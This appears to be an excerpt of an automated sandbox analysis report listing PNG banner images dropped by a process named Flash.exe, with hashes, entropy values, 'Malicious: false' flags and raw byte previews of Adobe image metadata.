C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner1-c1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	26321
Entropy (8bit):	7.699405732941104
Encrypted:	false
SSDEEP:	384:LCZ3m2UtGxha9vqzVfZ/5V79q+dHJPK7YkvcIvBlV7KCHoiCw1bWgU:Li3rUtGqgzVfZP7N20kvcIvrJKCIQWJ
MD5:	B0765EBFC7EF58C05D496404175BEB81
SHA1:	10262DBFAF41ECE1A106471EACA217F61E21223D
SHA-256:	21EA6A54A2299998C189F2A1E58A437F99A1F0BF558F3A44FFC1F0409D664D31
SHA-512:	10B0AA15D3E42A5D379BC08B8626A438CD841D38564DFCE0D3D92227D7D56E5A5161B55F8CB14B3A5B91F12B352AC2BA3C47567BE597B73013AA4CF36F433761
Malicious:	false
Preview:	.PNG........IHDR.............$.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:5296D143BFA111EBAFE5D71E910570B3" xmpMM:DocumentID="xmp.did:5296D144BFA111EBAFE5D71E910570B3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5296D141BFA111EBAFE5D71E910570B3" stRef:documentID="xmp.did:5296D142BFA111EBAFE5D71E910570B3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......cAIDATx....p..}....`..._..%..,...c.6e....q(. C..Y\..6......U1.1kSuu{Kg......Y.m.&a....Hz...7.d..u\.]Y...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner1-e0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13284
Entropy (8bit):	7.840062180227051
Encrypted:	false
SSDEEP:	192:6adVZkglWHvtxCOG9oOEJkrn9S/EeGU8s+QjfYqodrhaB8M9o77m8dGH9zE:DVZkglWP3K9o6rE4ZsLYrwB39q7m+QE
MD5:	8EB3BF8078B96C7BC3DC2A58FD465BD3
SHA1:	98DD47C22CD10461D7D9A457006266F4781A3C3D
SHA-256:	43191E6AC5486678447D963B7752AB2986646D417D66A36E1763728DCF538E00
SHA-512:	E141A8FA396020DF41D050AF3549DE7C74217A14685910798D7E55309089045B2AABE337E3FED4FA8366457024AD9683A587F80F4DE5C5CC3C00C326C229AE8C
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:BE905E8CFCB411EA8D2781977313513E" xmpMM:DocumentID="xmp.did:BE905E8DFCB411EA8D2781977313513E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BE905E8AFCB411EA8D2781977313513E" stRef:documentID="xmp.did:BE905E8BFCB411EA8D2781977313513E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>}.b}..0TIDATx....p.g.....^."[21y.`.r.BBp a..].P.M.WD{en......P.$V.....+...lj..N.R...Ew{...T...]%ac..%..%/Np`...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner1-e1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	11244
Entropy (8bit):	7.841873874250485
Encrypted:	false
SSDEEP:	192:gSprMbIAfhX+GvvukNOOiWMVlpCmxaqpWL9f0c4zxRKxOuTH1GQmfOzsPe5:gsuIAAWMzwq8cc0x8xOur1GQmlPe5
MD5:	50819730431682166E668E02BDB83C6C
SHA1:	CF9E3A044F3B4F95A9709279A5BFCFFAC699CA35
SHA-256:	81D993952696AF9CAE65413B0CCBDF198DA60F937A1B00B047541656199A5999
SHA-512:	53AEAC6729B69D7CBE59CFC18A0AB9337345085BAC230D51E075A0BE58680FAD5810E17D3737D7C414A0A621AB27961A5D064CD9626D797926DFD3A19FA8AA8E
Malicious:	false
Preview:	.PNG........IHDR....................=PLTE............N.....K..I..L../..M..F..M..J..=..?..<..=..F..D..L..D..E..@..I..I..I..;..J..A..G..F..E..E..H..G..I..B..:..8..F..R..E..I..I..G..D..E..E..J..K..A..8..M..K..4..2..E..3..E..7..I..G..G..E..9.....G..K..`..@..5..F..D..p..0..GGGD..D..F..4.....SSS...G..X..G../.....G..A..HHH...C..0.....G..H..D..D..K.....G..FFF...3..FFF...D..F..2..H..C..7..A..m.....E..LLLIII......D..GGGF..F..H..HHH@...........3..GGG4..KKK...S..R..?..;..9..1..C..3.....1..2..>..1..1.....D..4..D..G..G..HHHD..`..O..7..5..J..e..H..NNNK..2..6..G..R..L..E..5..7..O..B..S..2.....R.....v.....0.....<..=..FFF......?....tRNS....u.hXl.oHq`......k=9.Z]V.c.KE@4..T...#...\PB62.....e../.(..RN;...d.~. ,..-*%.%.Q.M.y.~.Fv.h...~......%...y...1FhW.{....y\|..i.^W5...,5.tr.%...V...m..<O..5.}F...JA..x.......!..7..(.IDATx.........................................................................`..@.........TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU..;.A...(z..R..p....j...R.H

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner1-t0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12587
Entropy (8bit):	7.842076545037247
Encrypted:	false
SSDEEP:	192:6871+FRuzRXjcUfzLxUWcqcxqmqfp2R1pqXCpeTmqIaxHGYe70Whq8IlesB3E:v+uVg6zaWIqfpUqXCpeJ0Mnt3E
MD5:	4F8556CD585F8435E61D2A568C190CB9
SHA1:	5C643DD18EF7AC06B3C85214C7AFAA9137EF9DDC
SHA-256:	9D27D405B214DDA9637E2C77CF001E0FC113493163B879FDE060A1BA35E95BFC
SHA-512:	F37E62C6C24569717B1D02A3BE1DFB9BA06AAE02584E3B65AA2FC19BB8F32D875CC6AC234223DCB434F6858D8388CD287CD802129D2AEE8A39F600A09AB50A8E
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:2DFA4E3CBFA111EB8734B2AA08B09F1B" xmpMM:DocumentID="xmp.did:2DFA4E3DBFA111EB8734B2AA08B09F1B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2DFA4E3ABFA111EB8734B2AA08B09F1B" stRef:documentID="xmp.did:2DFA4E3BBFA111EB8734B2AA08B09F1B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.^...-.IDATx....p]w}...WO.u..NbHj.z.GBp ...>.A..4;..c.ag....v)$..3..vM..e.....).LQ.d......C..@..AN....\.,].

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner1-t1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	26274
Entropy (8bit):	7.693014615304698
Encrypted:	false
SSDEEP:	384:m3w02E7iljMuRfqlTStiEn8SeCyfaEeVJgOge9QFzMyC5kUwQq6YX2VYIo9ylMpm:mA029KuRwq5n8S5EcIZPiYXQYIrliby
MD5:	D60D39F47F30C3D8CBDD63B8ADB08A8D
SHA1:	15CCBCCE72B4932A4E79E9C9861A363706F6CBB5
SHA-256:	687C51022CDD9EC6557349AA679D550BF42CF09897495D407065EB6A1E3906D6
SHA-512:	C546813244DBEDB1058DB74501F3B0086550D2376268CB18E8D8E50EA5B62E84255119FA4932902722E880FF359BEF6A363CD46F4973D3B5256AA76D5A254BB2
Malicious:	false
Preview:	.PNG........IHDR.............$.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:51BE623DBFA111EB916DE033DFB9388A" xmpMM:DocumentID="xmp.did:51BE623EBFA111EB916DE033DFB9388A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:51BE623BBFA111EB916DE033DFB9388A" stRef:documentID="xmp.did:51BE623CBFA111EB916DE033DFB9388A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>c..J..c.IDATx.......}..............).$(.%[.%B.e.2(..&...s .+..-.OW.[@,T\uu.@.....Y...J.b..!...@...Y.MJ.)...P.B&E.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner2-c0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14275
Entropy (8bit):	7.861320312785626
Encrypted:	false
SSDEEP:	384:fFY1xDZadQvYHPi5eYfdmT/x4++jftpb6:f4DZaCvqczdz+sVY
MD5:	CACF3980B961D7EAE5B1F830C38B1838
SHA1:	A6FA46BDBE4BBEDF6E9AD2B609C3E52D14D97C61
SHA-256:	36EE8D0CB39F070711A3BE0635512204998F1B5CF6153E058A1E9B2289D27FFD
SHA-512:	CAE2AD0C689024B51C329BBE0B344D17DF7DB4FA647EC3092EBB86264263E94151C9837F2A58D3E00F5E65C1E4FA5A841A03B1B374A696A8D1B0F3CC85A939F8
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:BD0FE7F4FCB411EA9D5BEE808B2CBA0F" xmpMM:DocumentID="xmp.did:BD0FE7F5FCB411EA9D5BEE808B2CBA0F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BD0FE7F2FCB411EA9D5BEE808B2CBA0F" stRef:documentID="xmp.did:BD0FE7F3FCB411EA9D5BEE808B2CBA0F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...F..43IDATx......e}......@ ..,4E1*I%VE.l.DT.....X.,."..yj.A...R.vQ....F-..(....d.W.q.T..`s.^.9.....Yfgg.s..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner2-c1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	31940
Entropy (8bit):	7.774966842299528
Encrypted:	false
SSDEEP:	768:pnb+tJFPq9iqrv62W+oyrY8QMIH1b2w8Uk7:xb2z+r0+1rY8QMU1SL7
MD5:	CAE6A59CF1FBD2BFDA901ACB024E02D6
SHA1:	8BF4FCF82D969625F69F5B1ED85718D5A2206870
SHA-256:	CC8BF089CE7FDDDE52C75ED1A6A87B255406C106B6C1E435BF0A05A61E3BB251
SHA-512:	0D2A9B0396404D83C0EC0A76DCA8276D65E60D8D3B43C37A924492E559560571029A2872145C9A0861BF97AF6525E37C7212E11000EAE32B2347D33285223268
Malicious:	false
Preview:	.PNG........IHDR.............$.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EA2E52A50DE411EB89A38A4B05CD353F" xmpMM:DocumentID="xmp.did:EA2E52A60DE411EB89A38A4B05CD353F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EA2E52A30DE411EB89A38A4B05CD353F" stRef:documentID="xmp.did:EA2E52A40DE411EB89A38A4B05CD353F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......y4IDATx....\|.g}....j%./.....p.!$!NI.....I&iJ.h]N.....R.j.._.b..r..^9..(.z;uO}.!.....-.@\ !.....$..#.....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner2-e0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13913
Entropy (8bit):	7.855789984432955
Encrypted:	false
SSDEEP:	384:4VGBFBDhDs8MvVQ4lBVsbtDot9hoethGY:EuLm8MFlgb9otroeKY
MD5:	52D99D6C6D7655A9C78CCDE5E8A4CC72
SHA1:	352EFBD078AE28D04E6EA4E8A03F9A64D7B873A6
SHA-256:	B11082E0E6BEB73F95BFE4D2FD5154CB2E0DE566DDA9A408EE91DFB90C117133
SHA-512:	2779D71F481D3C5A7DEBF826E32E123B49B20EBD46E8176EF17F6BB20F144060947520253A0384FB199EC80020E00F6787F7082B84AA0F931DD7C6093C887B08
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:BE481554FCB411EA8DA5DDD132A31D9B" xmpMM:DocumentID="xmp.did:BE481555FCB411EA8DA5DDD132A31D9B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BE481552FCB411EA8DA5DDD132A31D9B" stRef:documentID="xmp.did:BE481553FCB411EA8DA5DDD132A31D9B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...?..2.IDATx.....\e}............US...X-nJ....?.....(A..d..U.j......hPl}mi.Z.. .*.....xA.M.........\.....=93s.~

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner2-e1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	10500
Entropy (8bit):	7.867558441161839
Encrypted:	false
SSDEEP:	192:w19+atuVdW2Ivd/stZZUs9BLWEC5NYJz1yOw1e+OrOHawWGdVgZYwm:pUuflIuZZSzHGyOtrwWGIm
MD5:	CE40B42929E998249241EB95FEB59235
SHA1:	1D3DB756396202EEFDB27BD7F18631C471238EF8
SHA-256:	8CD9B1AD3A1D277D7278B3C4D84B614F9DC892F776F23F8A1F531E108EFE511C
SHA-512:	236ED3A1D703947D300CC3D8FC1D95EAD67DA6A4E15FBAE374AD498096919A70CAB36CB1CEFB193CB9A8C9250B2D48B5FFA396562A98933DCCF7463D7751AA85
Malicious:	false
Preview:	.PNG........IHDR....................(PLTE......@..D..8..B..=..A..E..2..F..7..<..G..7..5..4..4..C..>..3../..3..9..E..;..0..E..G..F..K..J..7../..I..H..D..0..I..<..3..G..I..=.....G..H..@..2..E..I..E..;..N..W..J..y..E..K..D..F..J..K.....F..`........I..9..>..E..F..III;..j..G..LLL......D..E..J..G..?..R..E.....Y..I..K..H..FFFE.....?..E..F..G..5...........HHHE..FFFG..E........GGG......?..SSS7..5..9..;..HHH...4..KKK5..1..HHH1..3..A..?..GGG2..>..4..GGG1..2..1..```2........NNN3..=..K..3..4.....]..S..0..E..0..I..Z..I..1..h..K..F..G..G..H.....K..@..=..=.....=..9..F..J..?.....3..F..C..9..?..F..FFF....u......tRNS...........................DPGc...VS=....N...K...?Y:...b.*.,"_e.H..\..5%h...FyF.2`Jv.A..[...7%u0' .h...4.MBW5..y%>H5-..WWP.y.tr".{tc........5n'.i].....k.....w.........d......Ch...%.IDATx.........................................................................`..@.........TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU.=8........m.UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner2-t0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14907
Entropy (8bit):	7.8197044265205635
Encrypted:	false
SSDEEP:	192:6NEDOsOOmO3OOsOWL96m9jj5KyZV5GvditiuPXwdKRvpb8c281U+yQrMuaCM+XFN:BQLHE8v4diQ0398BWawt1c5Y
MD5:	CF8B496DA03CC7541ED476231CD87E41
SHA1:	0830CAEB25639A31BF37BC9450C456AE75194DD3
SHA-256:	C379AB18DC27A8D5053CE81299584C9B566FE8ABF78D0D1E30064782788BA990
SHA-512:	59E8A73E3D88504CB5B7E4E0903FBA866B3B27569FFCB6A99DAF9884402F6FCA0B16709E96D0C6A92F91E3C1A256884FAED69CB531D9253D425B3EBA66685977
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:6FA9FE2B02E511EBAE0FDC7D30EA57D8" xmpMM:DocumentID="xmp.did:6FA9FE2C02E511EBAE0FDC7D30EA57D8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6FA9FE2902E511EBAE0FDC7D30EA57D8" stRef:documentID="xmp.did:6FA9FE2A02E511EBAE0FDC7D30EA57D8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.(<...6.IDATx....\Uy..=sn......@S..I*X..Oj.JD..4...... "...V[5h.y.T..j[...5j..b..X0`... .@...&.......7g..>;{....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner2-t1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	10812
Entropy (8bit):	7.85608666836519
Encrypted:	false
SSDEEP:	192:dAoGAYZ2nAPmgJ0lBteOGMPtdxf0txJ0Ntzo692joT2P1QDP0yqbxRxt:dOAYYAOgJ0lBteOG8tXyxitURoT2P16O
MD5:	D443800ADD3DB7E24A2BAD28C7275C1F
SHA1:	0C5D243D090C5D96D877E3181652DE28525CA9F7
SHA-256:	6F8EC80809482DA195A36842D99797FBF9125F7F3CD18050F46257DD69829A83
SHA-512:	32C9EB8DC59728E8927A868EEBED83A1C43BD8905EA6577D605B0EE6756AADD98174F0B89A6C15723B2B59E60F40F6A28F18C5A67960EE8595EAF235EA60138C
Malicious:	false
Preview:	.PNG........IHDR.....................PLTE......8..D..5..6..>..2..A..7..@..;..4..B..=..4..=..G..F..A..3..E..B../..F..F..G..@..I..I..8..E..9..<..:..J..F..J..0.....0.....<..J..3..J..X..G..=..3.....D..E.....G..FFFK..y..K..0..E..I..G..G...../..G..D..I..K..`..GGGI..I..Q.....F.....SSS2..IIIj..E..M.....G..E..?..D..D..F.....?..E..I..H..E..E..LLLD..G..D..E..HHHFFFE..3..X..F........?.....HHH......5..4..3..2.....2..4.....6..E..9..GGGB..7..8..;..KKK```_..2..GGG>..1...../..1..1..1..HHHK..1..NNNS..0..0........E..G..?..O..E..<..B..I..F.....J..I..H..7..?..D..I.....n..<..8..FFF....H......tRNS.........................GK..U.@...cE.....a._.O..%=....f...3XRM..QBZ...\..y#.%.h.9.F.6u.*%hv;..50F,!-(y. ..'..x..Oak~WtX5G82.s?8+W..$........5............e.....].....'-IDATx.........................................................................`..@.........TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU.=8........m.UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUa..V..8..Wh7.f

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner3-c0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15248
Entropy (8bit):	7.829480703548924
Encrypted:	false
SSDEEP:	384:d46hPotdSDE3mtdKdETB6sUi3PBdMF30SbgyDgpzq:dkbj3mt2aPmlUtG
MD5:	B85BDCDADD9E38F34BC4E2EF16CA64B6
SHA1:	A5911833B96939A35EEF3D775FA44CF1541C96C1
SHA-256:	B14778631D0C3F64DBFB1F77704FEA9BD1823A905753087E16842A827754B2D9
SHA-512:	1553158635052B180099404B6A20F7DEF01EFF46E75B6C96FEF962D7C3894AA31460DA47F02B9B06130E01598088DD2A8580FE3CB583B123E0D32A695AFF1668
Malicious:	false
Preview:	.PNG........IHDR...l.........4AK.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:BCC5CB66FCB411EA8D5090157495A808" xmpMM:DocumentID="xmp.did:BCC5CB67FCB411EA8D5090157495A808"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BCC5CB64FCB411EA8D5090157495A808" stRef:documentID="xmp.did:BCC5CB65FCB411EA8D5090157495A808"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v.)...8.IDATx....\iY..S....Ij.L..KZ..3`F3.x..vFf.q[vV\Wd...e....>j\.`.E.lXX]].6........f...e.8O...L2..t.......T

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner3-c1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33343
Entropy (8bit):	7.781304579009278
Encrypted:	false
SSDEEP:	768:hgwCwOIDpg20/9fUo3wrQx9Y/R5DrXnoEd:hDNr5/R5DLoEd
MD5:	A4B3D5D3E4EC292AA45FD7418AE461D9
SHA1:	DFBA499174F4E2E991BD3D971346696C028C48A6
SHA-256:	F0B12899C35D1F1C4F6025E235CA3617CD75CCCB25406AE60D95634FA858464E
SHA-512:	9478E581965D343867A3C7F8E58D6A47BA1F91B4196EB35B141B8EE8D5D57A290D1D875ED7714B77CAF9508B98A644B95EDEEEEF5E64AF5A531AB67F54692B5D
Malicious:	false
Preview:	.PNG........IHDR.............$.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:E9C335B70DE411EBB18FD2A3FE6C8C7F" xmpMM:DocumentID="xmp.did:E9C335B80DE411EBB18FD2A3FE6C8C7F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E9C335B50DE411EBB18FD2A3FE6C8C7F" stRef:documentID="xmp.did:E9C335B60DE411EBB18FD2A3FE6C8C7F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.....~.IDATx......g^...U.F....-,{aA....,$..y...-..H. ..x....+...m..UN.r.r$....ha &..Qr..~v.%..M...b.L.../{....53.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\banner3-e0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13790
Entropy (8bit):	7.793652041874582
Encrypted:	false
SSDEEP:	192:6UOOsOOmO3OyeEmK0uQjlOmSpn2GNpNcU6tJti1/mZFgL562k+Et0TtpD3PdMGrl:4ZrQsmqJhcr72kHt6TDlJroMdtkM
MD5:	B224077C13D1A899D39FAE7E82FB8AA9
SHA1:	4017148D1257BAF20C0131FE1DDF2D625C3E3CAF
SHA-256:	9E135C963D0B8BCF05405F35264A84D54D8B52AC43A5D33109F4CDC387C086AE
SHA-512:	6DEFAE73EADFCFFFF342983791739918EF12E944E0CA94738948F935F8D19E4E6985D3813FA6157F5AEAD005D2E75A834B6FDF50E44F58009838CCECB4407678
Malicious:	false
